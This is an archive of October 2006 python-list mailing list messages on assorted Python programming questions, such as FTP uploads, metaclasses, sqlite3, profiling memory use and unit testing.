Subject: Click and Drag Functionality in Web Apps with Python
In-Reply-To: <mailman.374.1160660171.11739.python-list@python.org>
References: <mailman.374.1160660171.11739.python-list@python.org>
Message-ID: <1160662635.646474.319830@i3g2000cwc.googlegroups.com>

I'd say they use javascript to make a click and drag function.
Like this jquery interface example:
http://interface.eyecon.ro/demos/drag.html

So basically, you could use a python web framework like
Turbogears(http://www.turbogears.org/) or
Django(http://www.djangoproject.com/) with javascript to create such
effects.

Bernard

Wijaya Edward wrote:
> Hi,
>
> Some recent webapps like Kiko <http://www.kiko.com/> , Google's gadget <http://www.google.com/ig/directory?hl=en> , and spreadsheets <http://spreadsheets.google.com>  to name a few,
> have this functionality.
>
> I wonder how can this funcitonalities be implemented in Python.
> Do you guys have any experience with it?
> Any Python module that support that?
>
> Regards,
> Edward WIJAYA
> SINGAPOE
>
> ------------ Institute For Infocomm Research - Disclaimer -------------
> This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
> --------------------------------------------------------



From codecraig at gmail.com  Wed Oct 18 09:52:15 2006
From: codecraig at gmail.com (abcd)
Date: 18 Oct 2006 06:52:15 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <1161179376.827555.239810@i3g2000cwc.googlegroups.com>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<mailman.686.1161178974.11739.python-list@python.org>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
Message-ID: <1161179535.412341.255300@m7g2000cwm.googlegroups.com>

oh and vnc2swf would not be an option, i cant be setting up a vnc
server, etc.  just need to use python (and necessary packages).

animated gif would probably be best i am assuming.



From aahz at pythoncraft.com  Sat Oct  7 23:19:10 2006
From: aahz at pythoncraft.com (Aahz)
Date: 7 Oct 2006 20:19:10 -0700
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
Message-ID: <eg9qne$82j$1@panix3.panix.com>

In article <877izb1vwe.fsf at pobox.com>, John J. Lee <jjl at pobox.com> wrote:
>aahz at pythoncraft.com (Aahz) writes:
>>
>> The following line of lightly munged code was found in a publicly
>> available Python library...
>> 
>>     if schema.elements.has_key(key) is False:
>> 
>> Sorry, just had to vent.
>
>I think I was reading the same code recently (epydoc?) and was also
>momentarily horrified ;-) until I realized that it was quite
>deliberately using three-valued logic (True, False, None) for some
>presumably-sensible reason.  Since None is false, they had to use
>"is".  So, given the need for three-valued logic, it's not as silly as
>it looks.

My take is that even in that case, one should use "is" only with None.
There is too much ground for bugs with True/False, particularly if you
either intend to work across version *or* you might possibly accept a
user's object (because *they* might be working across versions and
therefore returning 1/0 instead of True/False).  I think it's safest to
simply ban this idiom.  No exceptions, never.

And, no, this wasn't epydoc.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From tgrav at mac.com  Thu Oct 19 12:32:44 2006
From: tgrav at mac.com (Tommy Grav)
Date: Thu, 19 Oct 2006 12:32:44 -0400
Subject: Calling functions
Message-ID: <B9D4452D-8C7C-49FC-9184-D210AA9316C8@mac.com>

I have a small program that goes something like this

def funcA() : pass
def funcB() : pass
def funcC() : pass

def determine(f):
	t = f()
	return t

What I would like to do is be able to

n = determine(funcA)
m = determine(funcB)

But I can't really figure out how to do this (I think it is
possible :)

Cheers
Tommy


tgrav at mac.com
http://homepage.mac.com/tgrav/

"Any intelligent fool can make things bigger,
more complex, and more violent. It takes a
touch of genius -- and a lot of courage --
to move in the opposite direction"
                          -- Albert Einstein


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From fredrik at pythonware.com  Thu Oct 12 12:33:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 18:33:00 +0200
Subject: python 2.5 & sqlite3
In-Reply-To: <eJtXg.104$1n3.2850@news.tufts.edu>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>	<mailman.337.1160600574.11739.python-list@python.org>	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>	<mailman.338.1160604416.11739.python-list@python.org>	<1160616758.718092.210130@m73g2000cwd.googlegroups.com>	<mailman.356.1160631952.11739.python-list@python.org>
	<eJtXg.104$1n3.2850@news.tufts.edu>
Message-ID: <eglqns$u92$1@sea.gmane.org>

John Salerno wrote:

> Now, if the ActiveState distro *doesn't* include the libraries, then I 
> would probably call it broken too. :)

if it doesn't, it wouldn't be the first time they'd (by accident or on 
purpose) left things out.  trust me, it'd cause a lot less confusion if 
ActivePython was a true superset of the python.org distribution.

</F>



From python.list at tim.thechases.com  Tue Oct 31 12:50:07 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 31 Oct 2006 11:50:07 -0600
Subject: scared about refrences...
In-Reply-To: <1162315016.354163.18950@i42g2000cwa.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>	<pan.2006.10.30.19.32.25.538858@gmx.net>	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>	<ei60go$ngb$1@web.aioe.org>	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>	<ei6o2u$9sq$1@web.aioe.org>
	<1162315016.354163.18950@i42g2000cwa.googlegroups.com>
Message-ID: <45478CCF.2050000@tim.thechases.com>

> I don't know how to make this structure immutable...  Pickle 
> it?  Seems very inefficient to me...

Well, classes can be made mostly immutable by intercepting the 
attempts to write to it...something like

class Foo(object):
     def __setattr__( self, name, val ):
         raise TypeError("I'm sorry, Dave.  You can't do that.")

It might also be feasible to do something like this with a 
decorator...?

> Every time I pass a variable now I will worry that it will be
> changed by the function... I haven't worried about things like
> this since the very early days of BASIC.... I don't know..
> maybe I have more to learn.

Well, there are at least solutions to this paranoia that occur to me:

-make a deep-copy of the object in question before calling the 
function, and then pass the copy to the function so that it can't 
alter the original

-trust/read the functions' documentation.  Most functions that 
alter the contents of their parameters are kind enough to note as 
much.  If functions go bunging with your parameters without 
documenting it, the function's coder needs to be smacked.

-tkc






From fredrik at pythonware.com  Fri Oct 20 01:10:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 07:10:23 +0200
Subject: is it possible to send raw data through ftp?
In-Reply-To: <1161318367.007363.191360@b28g2000cwb.googlegroups.com>
References: <1161318367.007363.191360@b28g2000cwb.googlegroups.com>
Message-ID: <eh9lo0$478$1@sea.gmane.org>

daniel wrote:

> well, I'm trying to use ftplib to upload data that received from
> socket, and the application is required to  restart the transfer at a
> specific interval so as to generate a different target file on the
> server to store subsequent data.

> the problem is 'storbinary' accepts only file-like object

"storbinary" works with anything that has a "read" method that takes a 
buffer size, so you can wrap the source stream in something like:

##
# File wrapper that reads no more than 'bytes' data from a stream. Sets
# the 'eof' attribute to true if the stream ends.

class FileWrapper:
     def __init__(self, fp, bytes):
	self.fp = fp
	self.bytes = bytes
         self.eof = False
     def read(self, bufsize):
	if self.bytes <= 0:
	    return ""
	data = self.fp.read(min(bufsize, self.bytes))
         if not data:
             self.eof = True
	self.bytes -= len(data)
	return data

source = open(...)

while 1:
     cmd = "STOR " + generate_file_name()
     f = FileWrapper(source, 1000000)
     ftp.storbinary(cmd, f)
     if f.eof:
         break

</F>



From onurb at xiludom.gro  Thu Oct  5 13:31:02 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 05 Oct 2006 19:31:02 +0200
Subject: Access to static members from inside a method decorator?
In-Reply-To: <1160061499.579029.9130@k70g2000cwa.googlegroups.com>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
Message-ID: <45254157$0$2728$426a74cc@news.free.fr>

glen.coates.bigworld at gmail.com wrote:
> Bruno Desthuilliers wrote:
(snip)
>> class Exposing(object):
>>   @classmethod
>>   def get_exposed_methods(cls):
>>     try:
>>       exposeds = cls._exposed_methods
>>     except AttributeError:
>>       exposeds = []
>>       for name in dir(cls):
>>         obj = getattr(cls, name)
>>         if exposed(obj):
>>           exposeds.append(obj)
>>       cls._exposed_methods = exposeds
>>     return exposeds
>>
>> class Parrot(Exposing):
>>   @expose
>>   def parrot(self, what):
>>     return "%s says %s" % (self, str(what))
> 
> Thanks Bruno.  I came up with a similar solution today at work, which
> involves an 'init' method which is called at the bottom of each module
> that defines subclasses of Exposed and sets up static mappings for the
> exposed methods.  I guess my solution is slightly less elegant because
> it requires this ugly explicit init call outside the classes that it
> actually deals with, 

This is only a problem in a framework-style use.

> however it is more efficient because the dir()
> pass happens once on module load, instead of every time I want the list
> of exposed methods.

I think you have missed a point in my solution : the 'collect' pass
happens only once for each class - the first time the
get_exposed_methods is called on the class (or any instance of). It's
then memoized for latter calls.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From hg at nospam.com  Wed Oct 18 14:27:32 2006
From: hg at nospam.com (hg)
Date: Wed, 18 Oct 2006 13:27:32 -0500
Subject: tkinter won't play
In-Reply-To: <mailman.709.1161195625.11739.python-list@python.org>
References: <mailman.709.1161195625.11739.python-list@python.org>
Message-ID: <zwuZg.28393$Go3.27355@dukeread05>

Carl Wenrich wrote:
> I installed python 2.4.4 from source. When I try to
> run the demo tkinter (hello.py) script, I get a
> message saying my python may not be configured for Tk.

Under *nix ?

Make sure you have the tcl/tk source installed also.

hg


From bignose+hates-spam at benfinney.id.au  Mon Oct 30 18:51:56 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 31 Oct 2006 10:51:56 +1100
Subject: dict problem
References: <mailman.1163.1161770037.11739.python-list@python.org>
	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>
	<87y7r4mwso.fsf@benfinney.id.au> <453F5401.3020607@helsinki.fi>
	<87pscgmrp1.fsf@benfinney.id.au> <4545D637.6000205@helsinki.fi>
Message-ID: <87r6wp8iqr.fsf@benfinney.id.au>

Alistair King <alistair.king at helsinki.fi> writes:

> heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest
> atom for which you obtained percentage values for, but not Oxygen, eg,
> 'C', 'N', 'S', 'Br'...: ")
>
> print DSvalues
>
> def updateDS1v(Fxas, x):
> if Fxas != 0:
> value = DSvalues.get(heavy)
> floatvalue = float(value)
> atoms = DS1v.get(x) + Fxas*floatvalue
> DS1v[x] = atoms
>
> updateDS1v(FCas, 'C')
>
> print DS1v

I see from later posts that you have found solutions to your current
issues.

Just a note on what you posted: Please make sure that you post your
message as plain text. As you can see from what I quoted above, the
indentation is completely lost in the code you posted.

-- 
 \        "We cannot solve our problems with the same thinking we used |
  `\                        when we created them."  -- Albert Einstein |
_o__)                                                                  |
Ben Finney



From steve at holdenweb.com  Tue Oct 24 11:52:39 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 16:52:39 +0100
Subject: return same type of object
In-Reply-To: <bqp%g.80658$073.43363@trnddc01>
References: <bqp%g.80658$073.43363@trnddc01>
Message-ID: <ehlcq6$457$1@sea.gmane.org>

David Isaac wrote:
> Instances of MyClass have a method that
> returns another instance.  Ignoring the details
> of why I might wish to do this, I could
> return MyClass()
> or
> return self.__class__()
> 
> I like that latter better.  Should I?
> Should I do something else altogether?
>  
The latter solution is more Pythonic, IMHO, as it works for subclasses.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From ebgssth at gmail.com  Fri Oct 13 12:08:37 2006
From: ebgssth at gmail.com (js )
Date: Sat, 14 Oct 2006 01:08:37 +0900
Subject: Where can I find good python code?
Message-ID: <a23effaf0610130908x7dfaa025r8be5e77b5bbce773@mail.gmail.com>

 Hi,

I've learned basics of Python and want to go to the next step.
So I'm looking for good python examples
I steal good techniques from.

I found Python distribution itself contains some examples in Demo directory.
I spent some time to read them and
I think they're good but seemed not so practical to me.

Any recommendations?


From fredrik at pythonware.com  Wed Oct 25 11:50:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 17:50:57 +0200
Subject: Python's CRT licensing on Windows <-- FUD
In-Reply-To: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
Message-ID: <eho153$ssl$1@sea.gmane.org>

sturlamolden wrote:

 > On Windows, the standard Python 2.4 distro is compiled with Microsoft
 > Visual C++ 2003 and is shipped with msvcr71.dll as a part of the binary
 > installer. That is ok, as those who has a license for Microsoft Visual
 > C++ 2003 is allowed to redistribute msvcr71.dll. Without a license for
 > Microsoft Visual C++ 2003 one it not allowed to redistribute this DLL.

that's a myth, based on a flawed reading of the MS license.  to repeat
myself from various other fora:

   "As long as you're using a standard Python build, you don't need to
   buy VC7 to [legally redistribute the C runtime]. The python.org team
   use a properly licensed VC7 to build Python, which turns Python into
   "licensee software" and you into a "distributor" doing "further
   distribution" of Python to end users (with your own stuff added on
   top, of course).  And further distribution is perfectly okay, as long
   as you only ship the MS components together with proper "licensee
   software" (=Python), and that all parties respect the relevant
   portions of the original EULA (this basically means that you cannot
   use tricks to circumvent the MS EULA, e.g. by attempting to relicense
   the MS DLL's under less restrictive licenses or "viral" licenses.  The
   same applies to all other licensed components, of course. You cannot
   relicense the Python core either.)."

   "(If in doubt, consult a real lawyer. If you do, make sure that he/she
   understands the various levels here -- i.e. that "you" in the MS
   EULA applies to the Python developers, not yourself)."

</F>



From timr at probo.com  Thu Oct 26 02:30:50 2006
From: timr at probo.com (Tim Roberts)
Date: Thu, 26 Oct 2006 06:30:50 GMT
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>
	<slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>
Message-ID: <l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>

Neil Cerutti <horpner at yahoo.com> wrote:
>
>Some experimentation shows that Python does seem to provide
>*some* translation. Windows lets me use '/' as a path separator,
>but not as the name of the root of a partition name. But perhaps
>this a peculiarity of the commands themselves, and not of Windows
>path names in particular.
>
>  C:\PYTHON24>CD /
>  The syntax of the command is incorrect.
>  
>  C:\PYTHON24>CD \
>  C:\>EDIT /PYTHON24/README
>  The syntax of the command is incorrect.

The Windows APIs all accept either forward slashes or back, and have done
so clear back to Windows 3.0.  However, the Windows command shells do not.
That's what you're seeing here.
-- 
Tim Roberts, timr at probo.com
Providenza & Boekelheide, Inc.


From __peter__ at web.de  Thu Oct 12 13:23:34 2006
From: __peter__ at web.de (Peter Otten)
Date: Thu, 12 Oct 2006 19:23:34 +0200
Subject: prefix search on a large file
References: <mailman.365.1160642731.11739.python-list@python.org>
	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>
	<a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>
	<mailman.386.1160667922.11739.python-list@python.org>
Message-ID: <egltir$ae8$02$1@news.t-online.com>

js  wrote:

> By eliminating list cloning, my function got much faster than before.
> I really appreciate you, John.
> 
> def prefixdel_recursively2(alist):
>     if len(alist) < 2:
> return alist
> 
>     first = alist.pop(0)
>     unneeded = [no for no, line in enumerate(alist) if
>     line.startswith(first)] adjust=0
>     for i in unneeded:
>         del alist[i+adjust]
> adjust -= 1
> 
>     return [first] + prefixdel_recursively(alist)
> 
> 
> process stime
> prefixdel_stupidly         : 11.9247150421
> prefixdel_recursively   : 14.6975700855
> prefixdel_recursively2 : 0.408113956451
> prefixdel_by_john        : 7.60227012634

Those are suspicious results. Time it again with number=1, or a fresh copy
of the data for every iteration.

I also have my doubts whether sorting by length is a good idea. To take it
to the extreme: what if your data file contains an empty line?

Peter


From daniel.huangfei at gmail.com  Fri Oct 20 00:26:07 2006
From: daniel.huangfei at gmail.com (daniel)
Date: 19 Oct 2006 21:26:07 -0700
Subject: is it possible to send raw data through ftp?
Message-ID: <1161318367.007363.191360@b28g2000cwb.googlegroups.com>

well, I'm trying to use ftplib to upload data that received from
socket, and the application is required to  restart the transfer at a
specific interval so as to generate a different target file on the
server to store subsequent data.

the problem is 'storbinary' accepts only file-like object, I have to
use socketobj.makefile() to do that, how can I stop and resume that
transfer then? the abort() generates lots of wierd and unexpected
behavior, I guess if there is a way to upload raw data buffer, the
restart action should be implemented more easily. 

thanks.

daniel



From pierre at saiph.com  Tue Oct  3 23:27:58 2006
From: pierre at saiph.com (Pierre Imbaud)
Date: Tue, 03 Oct 2006 23:27:58 -0400
Subject: python html rendering
In-Reply-To: <463ff4860610031652n637728e6l499e1491128eaf56@mail.gmail.com>
References: <efum0b$2r2$1@sea.gmane.org>	<d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>	<efuso2$kpp$1@sea.gmane.org>
	<463ff4860610031652n637728e6l499e1491128eaf56@mail.gmail.com>
Message-ID: <efv9nv$gla$1@sea.gmane.org>

hanumizzle wrote:

> On 10/3/06, Colin J. Williams <cjw at sympatico.ca> wrote:
> 
> 
>>Another approach is to use PyScripter (an editor and IDE). One can
>>generate documentation and then save the generated html doc.
>>
>>Also PyDoc can be used directly.
> 
> 
> And if you want to go the traditional way, Emacs and Vim can both be
> used to produce colored HTML IIRC. Not sure about Vim (something like
> 2html.vim I believe), but Emacs has htmlize.el.
htmlize.el works fine, but I was looking for an automated process!
not that easy to call xemacs from cgi code!
Thanks anyway, nice tool, might help
> 
> If someone already said this, pardon me; I just joined via python-list.



From michele.simionato at gmail.com  Thu Oct 19 03:39:57 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 19 Oct 2006 00:39:57 -0700
Subject: creating many similar properties
In-Reply-To: <1161205217.207005.22720@i42g2000cwa.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161160057.392965.323330@m73g2000cwd.googlegroups.com>
	<1161160436.888246.21020@m73g2000cwd.googlegroups.com>
	<1161161181.169918.126210@b28g2000cwb.googlegroups.com>
	<1161163087.751082.225880@b28g2000cwb.googlegroups.com>
	<1161205217.207005.22720@i42g2000cwa.googlegroups.com>
Message-ID: <1161243597.310349.110370@i3g2000cwc.googlegroups.com>

Carl Banks wrote:
> You sound as if you're avoiding metaclasses just for the sake of
> avoiding them, which is just as bad as using them for the sake of using
> them.

Do you realize that you are effectively saying "avoiding a complex
tool in favor of a simpler one is just as bad as avoing the simple tool
in favor of the complex one" ?

> Here's how I see it: either it's ok to fiddle with the class dict, or
> it isn't.  If it's ok, then a metaclass is the way to do it.  If it's
> not ok to fiddle with the class dict, then he should be using
> __setattr__, or creating properties longhand.  Messing with frames is
> not the answer for production code.

I agree that messing with frames is not nice (however I should notice
that
this is how Zope interfaces are implemented, and they have been in
production use for years) but I disagree with your point about the
class dict. You should use a custom metaclass *only if you want to
mess with the class dict of all subclasses at each derivation*: this is

rarely the case, and definitely was not requested for the OP problem.

>
> Just for the hell of it, I decided to accept your challenge to run the
> standard library with a different metaclass applied to all new-style
> classes.  I ran the 2.4.3 regression test, replacing the builtin object
> with a class that used the mod256metaclass I presented in this thread.
> The results:
>
> 229 tests OK.
> 34 tests failed:
>     test___all__ test_asynchat test_cgi test_cookielib test_copy
>     test_copy_reg test_cpickle test_decimal test_descr test_descrtut
>     test_email test_email_codecs test_httplib test_imaplib
>     test_inspect test_logging test_mailbox test_mimetools
>     test_mimetypes test_minidom test_pickle test_pyclbr
>     test_robotparser test_sax test_sets test_socket test_socket_ssl
>     test_sundry test_timeout test_urllib test_urllib2 test_urllib2net
>     test_urllibnet test_xpickle

34 tests failed, worse than I expected.

> Not A-OK, but not exactly mass-pandemonium either.  There were plenty
> of modules used the the new base object and worked fine.
>
> There were only two causes for failure:
> 1. A class attempting to use __weakref__ slot.
> 2. There were also a few metaclass conflicts.

Yes, this agree with my findings. I was curious to know if there were
additional issues.

> IMO, neither of these failure modes argues against using a metaclass to
> preprocess the class dict.

But they argue against using metaclasses in general, IMO! (or at least,
against using them for users that are not aware of all the potential
pittfalls).

> The __weakref__ error is not applicable;
> since it's an error to use it on any class with an instance dict.  (In
> fact, the metaclass wasn't even causing the error: the same error would
> have occurred if I had replaced builtin object with an empty subclass
> of itself, without the metaclass.)

Correct, this more of a problems of __slots__ that play havoc with
inheritance
than a problem of metaclasses.

> The metaclass conflict would only occur in the present case only if
> someone wanted to subclass it AND specify a different metaclass.
> Arguing that metaclasses should be avoided just to guard against this
> rare possibility is defensive to the extreme.

Not too extreme in my opinion. Real life example: I had a debugging
tool
using a custom metaclass, I tried to run it on Zope 2.7 classes and I
have got segmentation faults. In Zope 2.8 I get "only" metatype
conflicts, and to avoid that I had to rewrite the tool :-(

> I did not uncover any kinds of subtle, unexpected behavior that can
> occur when metaclasses do weird things.  I know such things are
> possible; how likely they are is another question.  The tests I ran
> didn't uncover any.  So for now, the results of these tests don't seem
> to support your point very well.

Well, this is a matter of opinion. In my opinion your tests support my
point pretty well, better than I expected ;)

>
> Appendix: Here's how I ran the test.  I inserted the following code at
> the top of Lib/test/regrtest.py, and
> ran make test.  I ran the tests on the Python 2.4.3 source tree, in
> Linux.
>
> =======================
> import sys
>
> class mod256metatype(type):
>     def __new__(metatype,name,bases,clsdict):
>         print >> sys.__stdout__, \
>               "++++++++ Creating class %s of type mod256metatype" %
> name
>         def makeprop(sym):
>             prop = '_%s'  % sym
>             def _set(self,v):
>                 setattr(self,prop,v%256)
>             def _get(self):
>                 return getattr(self,prop)
>             return property(_get,_set)
>         for sym in clsdict.get('__mod256__',()):
>             clsdict[sym] = makeprop(sym)
>         return super(metatype
>         return type.__new__(metatype,name,bases,clsdict)
>
> class _object:
>     __metaclass__ = mod256metatype
>
> import __builtin__
> __builtin__.object = _object
> =======================

I used a similar approach. I added in sitecustomize.py the following
lines:


import __builtin__

class chatty_creation(type):
    "Print a message every time a class is created"
    def __new__(mcl, name, bases, dic):
        try:
            cls = super(chatty_creation, mcl).__new__(mcl, name, bases,
dic)
        except Exception, e:
            print e
            print 'Could not enhance class %s' % name
            cls = type(name, tuple(b for b in bases if b is not
Object), dic)
            # removing Object from the bases is enough only in the
trivial
            # cases :-(
        else:
            print 'Creating class %s.%s' % (dic.get('__module__'),
name)
        return cls

class Object:
    __metaclass__ = chatty_creation

__builtin__.object = Object

Now it is impossible to run both Zope and Twisted due to metatype
conflicts.
I haven't looked in detail, but the first conflict in Twisted is due
to a  metaclass-enhanced class which is setting properties. This is
the typical example of what I call metaclass *abuse* in my paper, since
the custom metaclass could have been avoided (for instance using George
Sakkis trick) and the conflict could have been avoided.

Now, I know how to solve the conflict
(http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/204197) but I
would rather avoid it altogether.

The problem with metaclasses is that you are adding magic to the
classes of
your USERS, and the users are known to play any kind of dirty tricks.
You
(speaking in general of you as the author of a framework) should strive
to keep things clean as much as possible.

I agree that the problems are rare: but just for this reason they are
prone to very subtle bugs, the hardest to find. And there is no
documentation of metaclass pittfall AFAIK :-(


 Michele Simionato



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 22:48:45 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 12:48:45 +1000
Subject: Tracing the execution of scripts?
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
	<20061027023353.20948.138215951.divmod.quotient.1674@ohm>
Message-ID: <87odryeanm.fsf@benfinney.id.au>

Jean-Paul Calderone <exarkun at divmod.com> writes:

> 1) Write unit tests for your code.  Keep writing unit tests until
> you have some that _don't pass_.  Then fix your code so that they
> do.  When you do further development, write the tests first, then
> implement the code that makes them pass.

Hear hear.

Be advised, though, that attempting to apply unit tests to code that
wasn't designed with testing in mind may very quickly reveal a poor
design. [0] If you can't easily test pieces of the code independently,
you probably haven't written those pieces to be loosely coupled and
well-defined.

The moral? Writing unit tests *along with* the functional code will
result in a design that is loosely coupled, and probably
better-defined. Also, hopefully, easy to test :-)


[0] I have no idea whether this is the case for the OP. It's a very
common symptom that arises from people who are first advised to
introduce tests to their code, though.

-- 
 \     "If you ever catch on fire, try to avoid seeing yourself in the |
  `\        mirror, because I bet that's what REALLY throws you into a |
_o__)                                          panic."  -- Jack Handey |
Ben Finney



From python.sam at googlemail.com  Sun Oct  1 19:15:03 2006
From: python.sam at googlemail.com (sam)
Date: 1 Oct 2006 16:15:03 -0700
Subject: how to reuse class deinitions?
In-Reply-To: <45203df3$1@nntp0.pdx.net>
References: <1159741672.092963.190270@m73g2000cwd.googlegroups.com>
	<45203df3$1@nntp0.pdx.net>
Message-ID: <1159744503.291393.132260@e3g2000cwe.googlegroups.com>



> What I do:
>
> For each new major version of python, in .../site-packages I make a
> directory "sdd" (my initials).  In it I put an empty file named
> "__init__.py".  When I have things I want to reuse, I put them in
> files named things like ".../site-packages/sdd/goodidea.py", and
> I get use of them in python programs like:
>
>      from sdd.goodidea import File
>      ...
>      <code that uses File>
>      ...
>
> or (actually my current style):
>      from sdd import goodidea
>      ...
>      <code that uses goodidea.File>
>      ...
>

this is basically what i was trying to do. i just tried it again, with
a class_defs.py file in a folder i appended to the system path, itself
containing the class definition for File. then:

from class_defs import File

works fine.

nice to know i was on the right lines. thanks for the pointer!



From hanumizzle at gmail.com  Fri Oct  6 02:29:52 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 02:29:52 -0400
Subject: profiling memory usage
In-Reply-To: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>
References: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610052329g4f238d16ha19ff46cf2b9ba72@mail.gmail.com>

On 5 Oct 2006 16:21:50 -0700, Eddie <cao.yiqun at gmail.com> wrote:
> Hi,
>
> I am looking for a method to profile memory usage in my python program.
> The program provides web service and therefore is intended to run for a
> long time. However, the memory usage tends to increase all the time,
> until in a day or two the system cannot handle it any more and starts
> to do constant swapping. Is there a way to look at which objects or
> variables are taking the huge amount of memory space?

Have a look at:
http://www.velocityreviews.com/forums/t353289-memory-profiler.html

-- 
Remember that time Thotsakan punched Neil Bush in the dick?


From horpner at yahoo.com  Sun Oct 22 09:04:01 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Sun, 22 Oct 2006 13:04:01 GMT
Subject: Tkinter--does anyone use it for sophisticated GUI development?
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
	<1161447186.938144.35810@f16g2000cwb.googlegroups.com>
	<1161512938.035392.32670@m7g2000cwm.googlegroups.com>
Message-ID: <5%J_g.7647$5i7.4703@newsreading01.news.tds.net>

On 2006-10-22, Wektor <wektorian at gmail.com> wrote:
> I ment in the GUI context , a widget-based api where you can put
> buttons, labels etc. on a form.
> Not an advanced 3D stuff which is useless for such application.
> Something like :
> and sdl based
> http://www.paragui.org/
>
> but none have Python support (or again maybe im wrong)

PyGame for SDL, I think.

-- 
Neil Cerutti



From ptmcg at austin.rr._bogus_.com  Fri Oct 27 09:38:36 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 27 Oct 2006 13:38:36 GMT
Subject: Slurping All Content of a File into a Variable
References: <mailman.1330.1161932057.11739.python-list@python.org>
	<1161948531.098283.162950@b28g2000cwb.googlegroups.com>
Message-ID: <wZn0h.23479$ta3.23380@tornado.texas.rr.com>

<marc.wyburn at googlemail.com> wrote in message 
news:1161948531.098283.162950 at b28g2000cwb.googlegroups.com...
> myfile_content is an object and you have only opened the file.  Python
> doesn't yet know whether you want to read it, copy it etc.
>
> to read it try
>
> text = myfile_content.readlines()
> print text
>
> this should be in most tutorials
>

readlines() will give you the file content as a list of newline-terminated 
strings.  If you just want the whole file in one big string do:

text = myfile_content.read()

And, yes, you should wade through some of the tutorials, this is basic 
material.

-- Paul 




From MonkeeSage at gmail.com  Sun Oct  1 18:52:33 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 1 Oct 2006 15:52:33 -0700
Subject: The Python world tries to be polite [formerly offensive to
	another language]
References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com>
	<1159555450.721085.51710@h48g2000cwc.googlegroups.com>
	<mailman.990.1159598785.10491.python-list@python.org>
	<1159601820.592847.42160@i3g2000cwc.googlegroups.com>
	<mailman.996.1159603783.10491.python-list@python.org>
	<_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net>
	<efo6oj$ce6$1@mlucom4.urz.uni-halle.de>
	<1159730965.869927.322910@h48g2000cwc.googlegroups.com>
Message-ID: <1159743153.283713.40940@h48g2000cwc.googlegroups.com>

Ant wrote:
> Don't think so, I followed the thread along a little, and it seems to
> be correct. In addition, they seem to have the ? character as the Perl
> 6 equivalent of zip(). Those crazy guys.

Yup, I don't think it was a joke either; there are several other
"hyper" operators already in pugs:
http://svn.openfoundry.org/pugs/src/Pugs/Parser/Operator.hs (see tests:
http://svn.openfoundry.org/pugs/t/operators/hyper.t ).

Regards,
Jordan



